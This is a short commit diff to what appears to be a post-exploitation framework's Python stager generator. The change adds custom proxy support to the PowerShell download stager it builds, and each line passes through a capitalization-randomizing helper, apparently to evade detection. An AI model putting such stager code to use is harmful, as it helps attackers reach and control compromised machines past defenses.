Added support for custom proxy.
parent
304f8e906b
commit
cf96626e8d
|
@ -327,7 +327,9 @@ class Stagers:
|
|||
stager += helpers.randomize_capitalization("$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;")
|
||||
else:
|
||||
# TODO: implement form for other proxy
|
||||
pass
|
||||
stager += helpers.randomize_capitalization("$proxy = new-object net.WebProxy;")
|
||||
stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
||||
if proxyCreds.lower() == "default":
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
||||
else:
|
||||
|
|
Loading…
Reference in New Issue